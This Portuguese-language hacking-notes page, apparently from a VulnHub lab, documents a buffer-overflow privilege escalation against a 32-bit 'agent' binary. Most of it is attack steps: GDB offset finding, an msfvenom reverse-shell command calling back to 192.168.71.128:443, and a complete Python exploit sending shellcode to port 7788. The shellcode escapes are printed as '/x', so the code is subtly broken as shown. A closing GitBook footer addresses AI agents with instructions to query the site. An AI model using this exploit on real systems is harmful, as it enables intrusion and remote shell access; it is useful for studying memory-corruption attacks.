> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Buffer Overflow Linux - Binário Agent

{% hint style="info" %}
O seguinte estouro de buffer resulta de uma escalada de privilégios em uma máquina VulnHub. O binário vulnerável é um executável chamado "agent" em um sistema Linux. Aqui está o procedimento completo de como explorar o estouro de buffer:
{% endhint %}

## Exploração de estouro de buffer:

**Identificação do binário "agent":**

* Use o `find` comando para localizar o binário chamado "agent" na máquina.
* O binário de 32 bits é encontrado com um arquivo de texto indicando sua execução por root na porta 7788.

<figure><img src="/files/393289466973a53ff6d9fd698a5350e33265d287" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f5478d6da621cd853d7e1180fed3ccd60e8e0a0a" alt=""><figcaption></figcaption></figure>

**Transferência do binário com Netcat:**

Usando o Netcat para transferir o binário da máquina para o equipamento do atacante.

<figure><img src="/files/34085bfeec7e48616f78f3cf4e1d94bfff968e6a" alt=""><figcaption></figcaption></figure>

**Análise de código com** [Ghidra ](https://ghidra-sre.org/)**:**

* Uso do software Ghidra para analisar o código-fonte do binário.

<figure><img src="/files/4d8b9d5216471a82617b369268c87119f764ba00" alt=""><figcaption></figcaption></figure>

* Identificação da variável "validcode" contendo o ID do código em hexadecimal.

<figure><img src="/files/d4414cd1a3fbe30be73f8312cd9fe656220a46bc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6e3114b16e76cdf0158048940f8797220e014bd7" alt=""><figcaption></figcaption></figure>

**Análise de estouro de buffer:**

Usando a função "report()", detectar uma vulnerabilidade de estouro de buffer usando a função "gets".

<figure><img src="/files/b6afe6ae838eaa45589d1b5b459c9d281359606a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a8bc68c9750d676d4d0b2bcb2958869a3f47ecb4" alt=""><figcaption></figcaption></figure>

**Exploração do estouro de buffer com GDB:**

<figure><img src="/files/c105099962931e0e4fc13a105134b4904a440963" alt=""><figcaption></figcaption></figure>

* Criada uma string de 200 caracteres "A" para testar o estouro.

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/cd63ebbca6a9f78f75c6cf7d375faf9caf239466" alt=""><figcaption></figcaption></figure>

Observe a substituição do EIP (Ponteiro de Instrução) com o comando "pattern create 200".

<figure><img src="/files/d976831a3060cbeb0464d3d7263986047f34a46d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/99638289602e923437524b59daf9b01ed834ab32" alt=""><figcaption></figcaption></figure>

* Identificação do offset com o comando "pattern offset $eip".

<figure><img src="/files/ca4140becde96dfe6d78d63d47cbd929dbca2d47" alt=""><figcaption></figcaption></figure>

* Verificação com a inserção de uma string de EIP de 168 caracteres A + 4 caracteres B:

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/9f854bd795f2fec88766f3f2789013f0afd1a57a" alt=""><figcaption></figcaption></figure>

* Validação das proteções com o comando "checksec".

<figure><img src="/files/497e583b905f2e38d1e60b7e542f844d57162ba9" alt=""><figcaption></figcaption></figure>

**Verificação do ASLR:**

Busca por endereços estáticos do binário com o comando "objdump -d agent | grep -i 'FF D0'".

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/dd4a399522942101b0dd63fa566b638294497439" alt=""><figcaption></figcaption></figure>

**Criação de shellcode para a shell reversa:**

Usando o Metasploit para gerar shellcode para uma shell reversa.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/783598728a3b9a425cd215cfc6037a2abc59c80f" alt=""><figcaption></figcaption></figure>

**Script Python para a operação:**/ Escrevendo um script Python para conectar ao serviço vulnerável e explorar o estouro de buffer.

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/b876b125c1b57ce6b01f04d96ea3785a20ad274d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.